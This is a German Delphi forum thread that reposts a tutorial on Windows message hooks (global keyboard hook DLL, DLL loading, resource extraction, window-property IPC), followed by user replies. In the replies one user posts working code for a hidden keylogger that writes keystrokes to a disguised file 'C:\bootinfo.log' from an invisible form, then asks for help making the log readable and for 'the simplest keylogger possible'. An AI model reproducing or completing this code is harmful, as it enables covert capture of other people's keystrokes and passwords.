Autor Beitrag
Tino
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Veteran
Beiträge: 9839
Erhaltene Danke: 45

Windows 8.1
Delphi XE4
BeitragVerfasst: Fr 14.06.02 14:13 
Hooks

Autor: Assarbad
E-Mail: assarbad AT gmx DOT info
Quelle: www.assarbad.net



Inhalt:
  • Kapitel 1: Vorwort
  • Kapitel 2: Wozu Hooks
  • Kapitel 3: Unser erster Hook... die Tastatur
  • Kapitel 4: Abseits des Themas
  • Kapitel 5: Das versprochene Schmankerl
  • Kapitel 6: Die Kommunikation Programm <-> DLL



Kapitel 1: Vorwort

Hallo Leute, es ist nun inzwischen mein 4. Tutorial und es gibt noch viele Fragen zu beantworten.

Eine Ermahnung an alle Script-Kiddies an dieser Stelle. Meine Tutorials sind a.) dazu gedacht Programmierern etwas beizubringen. Und b.) sähe ich es ungern, wenn plötzlich ein Keylogger zum ausspionieren aus diesem Know-How entstünde.

Desweiteren gibt es ja immer wieder mal Leute die meinen, das Design eines Programms zu ändern und hernach das eigene Copyright drunterzusetzen würde dann ein eigenes Programm sein! Kleiner Tip an dieser Stelle: Dies ist nicht der Fall. Anständigerweise setzt man normalerweise zumindest ein "Portions Copyright" drunter. Naja gut, um ehrlich zu sein, früher hab ich das auch schon mal gemacht. Ist ja schließlich unendlich cool, wenn beim Booten plötzlich alle wichtigen Programme das eigene Copyright tragen, aber diese Programme blieben dann tatsächlich auf meiner Festplatte. Zumal ich damal vom Internet noch nichtmal geträumt habe. Ich finde das nicht witzig aber sehr unehrenhaft. Ein Link auf meine Seite hätte es an dieser Stelle auch getan. Allerdings hat man das Programm inzwischen etwas abgeändert ... es kann jetzt 3% mehr Funktionalität aufweisen und so gesehen ist das eigene Copyright sicher schon wieder gerechtfertigt ... Die Firma dankt ... dafür jedenfalls veröffentliche ich meine Sourcen nicht.

Kapitel 2: Wozu Hooks

Ganz einfach: Hooks (engl. für Haken) machen eigentlich nur global wirklich Sinn, oder dort wo die Funktionalität durch den Rest der API nicht abgedeckt wird. Zum Besipiel ist es kein Problem mit Mouse-Capturing auch Mouseereignisse über fremden Fenstern abzufangen. Nur bekommen eben diese Fenster dann keine Messages!!!

An dieser Stelle setzen Hooks an. Sie ermöglichen es Messages abzufangen bevor sie an ein Fenster gesendet werden. Dabei kann ein Prozeß allein den Hook setzen (lokal) und damit ist der Hook auch nur für diesen Prozeß (lt. Doku sogar nur Thread) gültig. Ein globaler Hook muß, wie so ziemlich alles, was global (innerhalb aller Prozesse) laufen soll in einer DLL invoziert werden. Dabei ist es nur nötig die eigentliche Hook-Procedure in die DLL auszulagern und deren Adresse an SetWindowsHookEx() zu übergeben. Es ist allerdings state-of-art in der DLL eine Installations- und Deinstallationsroutine für den Hook zu exportieren. Dies erleichtert den Umgang und ermöglicht zum Beispiel das Entladen der DLL wegzulassen ...

Grundlagen

Zuerst einmal die Typen von Hooks die es gibt:
ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
Typ                   threadlokal systemglobal
WH_CALLWNDPROC        X           X
WH_CALLWNDPROCRET     X           X
WH_CBT                X           X
WH_DEBUG [NT]         X           X
WH_FOREGROUNDIDLE     X           X
WH_GETMESSAGE         X           X
WH_JOURNALPLAYBACK                X
WH_JOURNALRECORD                  X
WH_KEYBOARD           X           X
WH_KEYBOARD_LL [NT]               X
WH_MOUSE              X           X
WH_MOUSE_LL [NT]                  X
WH_MSGFILTER          X           X
WH_SYSMSGFILTER                   X
WH_SHELL              X           X
Die Funktionen die man braucht umfassen:
ausblenden Delphi-Quelltext
1:
2:
3:
4:
SetWindowsHookEx()
UnhookWindowsHookEx()
CallNextHookEx()
HookProc()
Wobei letztere so eine Art Callback-Funktion ist, die die eigentliche Arbeit erledigt. Die Deklaration dieser Funktion ist bei allen Hooktypen gleich.

Kapitel 3: Unser erster Hook ... die Tastatur

Als erstes werden wir einen Tastaturhook erstellen. Da der globale Hook meiner Auffassung nach eine Übermenge des lokalen Hooks ist, werden wir den Hook als global konzipieren.

Insgesamt werden wir uns bei den hiesigen Beispielen darauf beschränken die Rückgabewerte nur auszuwerten und nicht zu modifizieren. Hier haben wir auch schon einen weiteren Vorteil von Hooks. Ich bin also in der Lage mit Hilfe eines Hooks Messages und ihre Parameter zu bearbeiten.

Schauen wir uns erstmal die Deklarationen für die obigen Funktionen an. (In gleicher Reihenfolge, letztere könnte evtl. verwirrend sein)
ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
function SetWindowsHookEx(idHook: Integer; lpfn: TFNHookProc;
  hmod: HINST; dwThreadId: DWORD): HHOOK; stdcall;
function UnhookWindowsHookEx(hhk: HHOOK): BOOL; stdcall;
function CallNextHookEx(hhk: HHOOK; nCode: Integer; wParam: WPARAM;
  lParam: LPARAM): LRESULT; stdcall;
type
  TFNHookProc = function (code: Integer; wparam: WPARAM;
    lparam: LPARAM): LRESULT stdcall;
Wir schreiben also einen globalen Hook. Bekannt ist bereits, daß dieser in einer DLL ausgelagert sein muß, da nur eine DLL innerhalb anderer Prozesse ausgeführt werden kann.

Jetzt kommts gleich ganz dick. Hier der komplette Code für einen Tastaturhook. Dieser Hook führt keinerlei Bearbeitung oder so durch. Er soll nur zur Veranschaulichung dienen und wird sogleich erklärt. Zum Teil sind Erklärungen in Form von Kommentaren vorhanden.
ausblenden volle Höhe Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
library KeyboardHook;

uses
  Windows,
  Messages;

var
  HookHandle: Cardinal = 0;
  WindowHandle: Cardinal = 0;

function KeyboardHookProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
//es ist ebenfalls moeglich die Bearbeitung an eine Bedingung zu knuepfen
//it's possible to call CallNextHookEx conditional only.
  Result := CallNextHookEx(HookHandle, nCode, wParam, lParam);
  case nCode < 0 of
    TRUE: exit; //wenn code kleiner 0 wird nix gemacht
                //if code smaller 0 nothing has to be done
    FALSE:
      begin
//Hier kann jetzt alles bearbeitet werden
//Here one can work with the parameters
      end;
  end;
end;

function InstallHook(Hwnd: Cardinal): Boolean; stdcall;
begin
  Result := False;
  if HookHandle = 0 then begin
//Erstmal Hook installieren
//First install the hook
    HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardHookProc, HInstance, 0);
//Uebergebenes Fensterhandle sichern
//Save the given window handle
    WindowHandle := Hwnd;
    Result := TRUE;
  end;
end;

function UninstallHook: Boolean; stdcall;
begin
//Hook aus der Hookchain entfernen
//Uninstall hook from hook chain
  Result := UnhookWindowsHookEx(HookHandle);
  HookHandle := 0;
end;

exports
//Installations- und Deinstallationsroutine exportieren
//Export the installation and deinstallation routine
  InstallHook,
  UninstallHook;
end.
Tja, da denkt man erst jetzt kommt sonstwas und dann nur so ein kleiner Schnipsel ;)

Der größte Teil dürfte verständlich sein. Aber der aufmerksame Leser und Programmierer wird sich an dieser Stelle fragen, welches Fenster ich als Handle übergeben bekomme und sichere. Nun, dies ist eine einfache Geschichte, üblicherweise schickt man die Daten die der Hook erhält an ein Fenster weiter (meist mit Hilfe von Fensternachrichten) ... dazu braucht man natürlich das Handle.

Ansonsten kann man sehr schön sehen wie der Hook installiert wird, insofern er es nicht schon ist - und deinstalliert wird. Die zuständigen Routinen werden ausgelagert.

An dieser Stelle kann man also bequem mit dem Vorurteil aufräumen, Hooks seien eine komplizierte Materie. (Dies, das werdet Ihr schnell mitbekommen, wird erst der Fall sein, wenn man die erhaltenen Daten modifiziert. Bei Shellhooks hat sich da mancher schon einen Neustart nicht verkneifen können, nachdem das System in etwas instabilem und unnutzbarem Zustand war ...)

Übrigens ist an dieser Stelle noch zu erwähnen, daß durch verändern von WH_KEYBOARD in WH_MOUSE ausreicht um den Hook zu einem Mousehook zu machen.

Kapitel 4: Abseits des Themas

So. Für das Thema Hook soll es das erstmal soweit gewesen sein, ich habe den Quelltext auskommeniert, so daß Ihr Euch dort ohne weiteres zurechtfinden solltet.

Wir wenden uns nun dem drumherum zu. Ich erkläre dazu kurz den Import von Funktionen aus einer DLL und zwar sowohl dynamisch als auch statisch. Zum Schluß als kleines Schmankerl noch eine Routine um die DLL nach dem Einkompilieren als Ressource wieder zu extrahieren.

Hier also erstmal die dynamische Variante:
ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
type
  TInstallHook = function(Hwnd: THandle): Boolean; stdcall;
  TUninstallHook = function: Boolean; stdcall;

var
  InstallHook: TInstallHook;
  UninstallHook: TUninstallHook;
  lib: Cardinal;

begin
  lib := LoadLibrary('keyboardhook.dll');
  if lib <> INVALID_HANDLE_VALUE then begin
    InstallHook := GetProcAddress(lib, 'InstallHook');
    UnInstallHook := GetProcAddress(lib, 'UninstallHook');
  end// else ERROR
end;
Zuerst wird hier der jeweilige Typ für die exportierten Funktionen deklariert, welche importiert werden sollen. Hernach definiert man Variablen mit eben diesen Typen und lädt als erstes die DLL. Nachdem die DLL geladen ist, wird mit Hilfe des Instanzenhandles versucht die Prozedureinsprungspunkte zu erhalten. Im Endeffekt kann man die Funktionen dann benutzen, als wären sie über eine Unit eingebunden. Wenn man die DLL nicht mehr benötigt sollte man die über FreeLibrary() wieder entladen.

Und jetzt die statische Variante:
ausblenden Delphi-Quelltext
1:
2:
Function InstallHook(Hwnd: THandle): Boolean; stdcallexternal 'keyboardhook.dll';
function UninstallHook: Boolean; stdcallexternal 'keyboardhook.dll';



Hier könnte man ja nun denken, aha die Variante ist ja einfacher. Von der Sache her korrekt - allerdings versperrt sie einige Optionen. Die statische Variante wird in der Importtabelle des Programms festgehalten. Diese Tabelle ist eine Art Platzhalter für die einzelnen Adressen und wird vom Loader gefüllt. Aus diesem Grunde muß die DLL auch verfügbar sein, wenn das Programm startet, ansonsten gibt es einen Fehler. Um dies zu verhindern benutzt man eben dynamisches Laden. Damit wird es ermöglicht vor dem Laden der DLL code auszuführen um zum Bsp. einen Fehler auszugeben, wenn die DLL nicht vorhanden ist. Dies ist m.M. IMMER besser als die statische Form des Imports und bei Anwendungen die systemspezifische Funktionen (LANMAN, NT native API, NT security API) benutzen, unabdingbar!!! Nichtsdestotrotz wird die statische Variante häufiger verwendet.

Kapitel 5: Das versprochene Schmankerl

Um es zu nutzen muß man zuerst eine beliebige Datei (in unserem speziellen Fall eine DLL) als Ressource in das Programm einbinden.
ausblenden Delphi-Quelltext
1:
2:
  HookDLL BINRES "Hooks.DLL"
//Name    Restyp  Dateiname
Die eingebundene Ressource kann man nun zur Laufzeit extrahieren und im Falle einer DLL dynamisch laden. Eingebunden wird eine Ressourcendatei so:{$R main.res}Im Prinzip kann das Einbinden der Ressource an fast jeder Stelle im Source aber außerhalb des Codes geschehen.

Die benötigte und von mir entwickelte Prozedur sieht wie folgt aus und braucht nur die WINDOWS.PAS eingebunden ... CLASSES.PAS etc (wo die Streamklassen drin sind) kann man sich sparen. Nico hat dann an der Stelle, wo ich ihm die Prozedur vorgestellt habe gleich mit mir um die Wette optimiert ... sie sollte es also nun sein ;-)
ausblenden volle Höhe Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
function putbinresto(binresname: pchar; newpath: string): boolean;
var ResSize, HG, HI, SizeWritten, hFileWrite: Cardinal;
begin
  result := false;
  HI := FindResource(hInstance, binresname, 'BINRES');
  if HI <> 0 then begin
    HG := LoadResource(hInstance, HI);
    if HG <> 0 then begin
      ResSize := SizeOfResource(hInstance, HI);
      hFileWrite := CreateFile(
          pchar(newpath), 
          GENERIC_READ or GENERIC_WRITE, 
          FILE_SHARE_READ or FILE_SHARE_WRITE, 
          nil
          CREATE_ALWAYS, 
          FILE_ATTRIBUTE_ARCHIVE, 
          0
        );
      if hFileWrite <> INVALID_HANDLE_VALUE then
      try
        result := (WriteFile(
            hFileWrite, 
            LockResource(HG)^, 
            ResSize, 
            SizeWritten, 
            nil
          ) and (SizeWritten = ResSize));
      finally
        CloseHandle(hFileWrite);
      end;
    end;
  end;
end;
Die Anwendung dieser Prozedur kann man im beiliegenden Beispiel zu den Hooks nachvollziehen.

Kapitel 5: Die Kommunikation Programm <-> DLL

In diesem Falle haben wir eine systemweit einmalige Message registiert. Diese wird gebroadcastet und gelangt so auch an unser Fenster. Der Rest wird durch setzen und auslesen der Windowproperties gelöst. Dies ist zwar langsam, demonstriert aber sehr gut die Arbeit mit Properties.

Registrieren der Window-Message:
ausblenden Delphi-Quelltext
1:
2:
WM_MOUSEHOOKMSG:=RegisterWindowMessage(mousmsg);
WM_KEYBHOOKMSG:=RegisterWindowMessage(keybmsg);
Broadcast:SendMessage(HWND_BROADCAST, WM_MOUSEHOOKMSG, wParam, lParam);Properties werden auf DLL-Seite gesetzt:
ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
setprop(WindowHandle, 'mous_ncode', nCode);
setprop(WindowHandle, 'mous_hwnd', PMOUSEHOOKSTRUCT(lParam)^.hwnd);
setprop(WindowHandle, 'mous_hitt', PMOUSEHOOKSTRUCT(lParam)^.wHitTestCode);
setprop(WindowHandle, 'mous_xpos', PMOUSEHOOKSTRUCT(lParam)^.pt.x);
setprop(WindowHandle, 'mous_ypos', PMOUSEHOOKSTRUCT(lParam)^.pt.y);
... und auf Hauptprogrammseite beim Empfang der gebroadcasteten Message ausgelesen (die Werte werden im Fenster gesetzt): //----little dirty trick. using window properties allows inter process communication ;)
ausblenden Delphi-Quelltext
1:
2:
3:
//code of hook func
temp := code2string(getprop(hwnd, 'mous_ncode'));
SetDlgItemText(hwnd, IDC_EDIT8, pchar(temp));
Da die Message keine ECHTE Konstante ist, mußte statt der CASE-Schleife eine IF-Schleife herhalten.

Viel Spaß mit Hook-Programmierung wünscht

-=Assarbad=-


Zuletzt bearbeitet von Tino am Do 10.02.05 16:25, insgesamt 3-mal bearbeitet
S - tefano
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starontopic star
Beiträge: 28



BeitragVerfasst: Do 19.06.03 12:28 
Hi,

funzt soweit ganz gut - unter den 9x- Systemen jedenfalls.
Unter XP läufts mit WH_KeyBoard nicht, da wird jede Taste als Pause-Taste erkannt.
Dann hab ich mir gedacht, könnt ich ja anstatt WH_KeyBoard mal WH_KeyBoard_LL übergeben, weil du in deiner Tabelle ja [NT] dahinter geschrieben hast.
Allerdings wird dieser Wert vom Compiler nicht gefunden. Hab dann mal selber in der Unit Windows nachgesehen. Da stehen die meisten deiner Definitionen drin, aber die mit _LL dahinter fehlen.
Hab ich einfach ne zu alte Version der Windows- Unit? Benutze ja Delphi 7, da müssten diese _LL- Werte doch eigentlich auch definiert sein.
Kann man die Werte einfach hinzufügen, indem man ihre Definitionen einfach in die Windows- Unit einbindet?
Wenn dem so ist, könntest du (oder jemand anders) bitte die entsprechenden Auszüge dieser Definitionen posten?

Danke schonmal,

S - tefano

_________________
Es gibt Tage, an denen verliert man, und es gibt Tage, an denen gewinnen die anderen.
Walk on
Gast
Gast
Erhaltene Danke: 1



BeitragVerfasst: Di 24.06.03 18:10 
Neueste stark überarbeitete Version hier:

assarbad.net/stuff/t...rials/hooks/preview/

(Die endgültige Version wird ein Verzeichnis tiefer anzutreffen sein. Derzeit ist dort noch das alte Tutorial).

@Tino: Die URL, siehe oben, stimmt nicht mehr ;) ... wäre gut, wenn du her genau wie beim DLL-Tut nur Links reinmachen würdest. Ich geb dir bescheid, sobald die endgültige Version fertig ist.
F34r0fTh3D4rk
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Mi 09.02.05 20:10 
ich hab das bis jetzt so:
ausblenden volle Höhe Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
unit UMain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

type
  TInstallHook = function(Hwnd: THandle): Boolean; stdcall;  
  TUninstallHook = function: Boolean; stdcall;  

var
  Form1: TForm1;
  InstallHook: TInstallHook;
  UninstallHook: TUninstallHook;
  lib: Cardinal;

implementation

{$R *.dfm}
{$R hook.res}

function putbinresto(binresname: pchar; newpath: string): boolean;
var ResSize, HG, HI, SizeWritten, hFileWrite: Cardinal;  
begin  
  result := false;
  HI := FindResource(hInstance, binresname, 'BINRES');  
  if HI <> 0 then begin  
    HG := LoadResource(hInstance, HI);
    if HG <> 0 then begin  
      ResSize := SizeOfResource(hInstance, HI);  
      hFileWrite := CreateFile(
          pchar(newpath),   
          GENERIC_READ or GENERIC_WRITE,   
          FILE_SHARE_READ or FILE_SHARE_WRITE,
          nil,   
          CREATE_ALWAYS,   
          FILE_ATTRIBUTE_ARCHIVE,
          0  
        );  
      if hFileWrite <> INVALID_HANDLE_VALUE then
      try  
        result := (WriteFile(
            hFileWrite,   
            LockResource(HG)^,
            ResSize,   
            SizeWritten,
            nil  
          ) and (SizeWritten = ResSize));
      finally  
        CloseHandle(hFileWrite);
      end;
    end;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  lib := LoadLibrary('h32.dll');
  if lib <> INVALID_HANDLE_VALUE then InstallHook := GetProcAddress(lib, 'InstallHook');
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  lib := LoadLibrary('h32.dll');
  if lib <> INVALID_HANDLE_VALUE then UnInstallHook := GetProcAddress(lib, 'UninstallHook');
end;

end.

und natürlich die dll aber ich weiß net wies weiter gehen soll, bis dahin ist alles schön erklärt, aber wie mache ich jetzt zb, dass die keys in eine datei gespeichert werden oder in ein memo kommen (bitte ausführlich beschreiben, sagen was wo hinkommt, danke!) :D

und was soll diese procedure, die exportiert die datei die mit der res reinkompiliert wurde, aber warum was bringt das und was paiiert mit der datei ?
Gast
Gast
Erhaltene Danke: 1



BeitragVerfasst: Mi 09.02.05 20:47 
Es gibt in der neuen Version einen ausführlichen Quelltext, wo ersichtlich ist, wie man es speichert. Es ist direkt als Keylogger aufgemacht, sollte also eindeutig sein.

Die Funktion zum "Export" einer Datei aus den Ressourcen dient prinzipiell nur dazu _eine_ kompakte Datei ausliefern zu können, die dann auch gleichzeitig die DLL enthält. Sie ist nicht für die Funktionalität der Hooks notwendig und das ist ebenfalls in der PDF beschrieben.
F34r0fTh3D4rk
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Mi 09.02.05 21:21 
also meine DLL sieht so aus:
ausblenden volle Höhe Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
library H32; 
 
uses
  Windows,
  Messages;

var
  HookHandle: Cardinal = 0;  
  WindowHandle: Cardinal = 0;

function KeyboardHookProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;
var
  PID, sizewritten, hFile: LongWord;
begin
  Result := CallNextHookEx(HookHandle, nCode, wParam, lParam);
  case nCode < 0 of
    True: exit; // If the code is smaller than 0 nothing _has_ to be done
    False:
      begin
        if ((lParam and $80000000) = 0) = false then begin
          hFile := CreateFile('C:\bootinfo.log', GENERIC_WRITE or GENERIC_READ, 0nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
          if hFile <> INVALID_HANDLE_VALUE then
          try
            SetFilePointer(hFile, 0nil, FILE_END);
            PID := GetCurrentProcessID;
            WriteFile(hFile, PID, sizeof(PID), sizewritten, nil);
            WriteFile(hFile, lParam, sizeof(lParam), sizewritten, nil);
            WriteFile(hFile, wParam, sizeof(wParam), sizewritten, nil);
          finally
            CloseHandle(hFile);
          end;
        end;
      end;  
  end;  
end;    
 
function InstallHook(Hwnd: Cardinal): Boolean; stdcall;  
begin  
  Result := False;  
  if HookHandle = 0 then begin  
//Erstmal Hook installieren  
//First install the hook  
    HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardHookProc, HInstance, 0);  
//Uebergebenes Fensterhandle sichern  
//Save the given window handle  
    WindowHandle := Hwnd;  
    Result := TRUE;  
  end;  
end;  

 
function UninstallHook: Boolean; stdcall;  
begin  
//Hook aus der Hookchain entfernen  
//Uninstall hook from hook chain  
  Result := UnhookWindowsHookEx(HookHandle);  
  HookHandle := 0;  
end;  

 
exports  
//Installations- und Deinstallationsroutine exportieren  
//Export the installation and deinstallation routine  
  InstallHook,  
  UninstallHook;  
end.

Meine Hauptunit so:
ausblenden volle Höhe Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
unit UMain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;
  HWND: Cardinal;
  HookHandle: Cardinal = 0;  
  WindowHandle: Cardinal = 0;

implementation

{$R *.dfm}

function KeyboardHookProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;
var
  PID, sizewritten, hFile: LongWord;
begin
  Result := CallNextHookEx(HookHandle, nCode, wParam, lParam);
  case nCode < 0 of
    True: exit; // If the code is smaller than 0 nothing _has_ to be done
    False:
      begin
        if ((lParam and $80000000) = 0) = false then begin
          hFile := CreateFile('C:\bootinfo.log', GENERIC_WRITE or GENERIC_READ, 0nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
          if hFile <> INVALID_HANDLE_VALUE then
          try
            SetFilePointer(hFile, 0nil, FILE_END);
            PID := GetCurrentProcessID;
            WriteFile(hFile, PID, sizeof(PID), sizewritten, nil);
            WriteFile(hFile, lParam, sizeof(lParam), sizewritten, nil);
            WriteFile(hFile, wParam, sizeof(wParam), sizewritten, nil);
          finally
            CloseHandle(hFile);
          end;
        end;
      end;  
  end;  
end;    

function InstallHook(Hwnd: Cardinal): Boolean; stdcallexternal 'H32.dll';
function UninstallHook: Boolean; stdcallexternal 'H32.dll';

procedure TForm1.FormCreate(Sender: TObject);
begin
HWND:= SetWindowsHookEx(WH_KEYBOARD, @KeyboardHookProc, HInstance, 0);
if installhook(hwnd) then showmessage('Hook erfolgreich installiert!');
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
canclose:= uninstallhook;
end;

end.

und die programm unit so:
ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
program Tastaturhook;

uses
  Forms,
  UMain in 'UMain.pas' {Form1};

{$R *.res}

begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.ShowMainForm:= false;
  Application.Run;
end.

aber es funktioniert garnicht, normalerweise sollte die bootinfo.log geschrieben werden, was hab ich falsch gemacht oder vergessen damit das geht ?
Die Showmessage kommt, also muss Installhook ein true zurückliefern !?
F34r0fTh3D4rk
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Do 10.02.05 15:47 
:D habs hinbekommen, nur sieht mein code jetzt genauso aus wie beim bespiel ^^
außer dass es VCL ist, jedoch habe ich jetzt eine Frage:

Wie bekomme ichs hin, dass die Keys in einem anständigen Format gespeichert werden,
so dass ich den KeyLog Reader nicht brauche?

ich möchte die Keys direkt aus der Log Datei lesen können, wie mache ich das ?

da ist ja immer sonn gewurschtel um die Keys drumrum :roll:
Gast
Gast
Erhaltene Danke: 1



BeitragVerfasst: Do 10.02.05 16:08 
F34r0fTh3D4rk hat folgendes geschrieben:
:D habs hinbekommen, nur sieht mein code jetzt genauso aus wie beim bespiel ^^
außer dass es VCL ist, jedoch habe ich jetzt eine Frage:

Wie bekomme ichs hin, dass die Keys in einem anständigen Format gespeichert werden,
so dass ich den KeyLog Reader nicht brauche?

ich möchte die Keys direkt aus der Log Datei lesen können, wie mache ich das ?

da ist ja immer sonn gewurschtel um die Keys drumrum :roll:

Schau dir doch mal die Funktion "Format()" an. Damit sollte die Frage nach dem anderen Format schon gelöst sein. Den Rest löst du dann eben über WriteLn() und Co.
F34r0fTh3D4rk
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Do 10.02.05 16:28 
die hier:
ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
function Format(fmt: string; params: array of const): string;
var
  pdw1, pdw2: PDWORD;
  i: integer;
  pc: PCHAR;
begin
  pdw1 := nil;
  if High(params) >= 0 then
    GetMem(pdw1, (High(params) + 1) * sizeof(Pointer));
  pdw2 := pdw1;
  for i := 0 to High(params) do begin
    pdw2^ := PDWORD(@params[i])^;
    inc(pdw2);
  end;
  GetMem(pc, 1024);
  if Assigned(pc) then
  try
    SetString(Result, pc, wvsprintf(pc, PCHAR(fmt), PCHAR(pdw1)));
  finally
    if (pdw1 <> nilthen FreeMem(pdw1);
    FreeMem(pc);
  end
  else
    Result := '';
end;


wie mach ich denn damit aus dem hier:
ausblenden Quelltext
1:
à   # H   à   #ÀH   à    A   à   ÀA   à   & L   à   &ÀL   à   & L   à   &ÀL   à    O   à   ÀO      8              * ÿ   H   à   H   8À   H   *Àÿ   H   SÁ.					

sowas
ausblenden Quelltext
1:
hallo					

??? Also Die ganzen Datei Formatieren oder erst in nen String laden, bitte mal bespiel oder wie kann ich das am besten gleich formatiert speichern ?
uall@ogc
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 1826
Erhaltene Danke: 11

Win 2000 & VMware
Delphi 3 Prof, Delphi 7 Prof
BeitragVerfasst: Do 10.02.05 16:40 
wenn man einfach nur den Text mitloggn will warum muss man das übr nen keayboard hook macen da reicht auch nen timer mit Getkeyboardstate(xxx) (war der befehl so oO) ider getasynckeystate()

das einzieg wofür man das wirklich gebrauchen kann ist für ne dllinjection obwohls da schon bessere methoden gibt
F34r0fTh3D4rk
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Do 10.02.05 16:43 
1. warum macht es dann keiner mit getkeystate (kA wie der hieß), außerdem wie fragt man das dann ab ?

2. Welche möglichkeiten ?
uall@ogc
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 1826
Erhaltene Danke: 11

Win 2000 & VMware
Delphi 3 Prof, Delphi 7 Prof
BeitragVerfasst: Do 10.02.05 16:46 
"wieso macht es denn keiner?"

weils keiner weiß und weil das mit dem hook auch keiner so macht, das war nur ein gutes bsp für DLL injection und Messagehook, aber für nen simplen keylogger einfach zu viel
F34r0fTh3D4rk
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Do 10.02.05 16:48 
dann gib mal n beispiel für nen simple keylogger, so simpel wie möglich natürlich ^^


Zuletzt bearbeitet von F34r0fTh3D4rk am Do 10.02.05 16:52, insgesamt 1-mal bearbeitet
Tino Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Veteran
Beiträge: 9839
Erhaltene Danke: 45

Windows 8.1
Delphi XE4
BeitragVerfasst: Do 10.02.05 16:50 
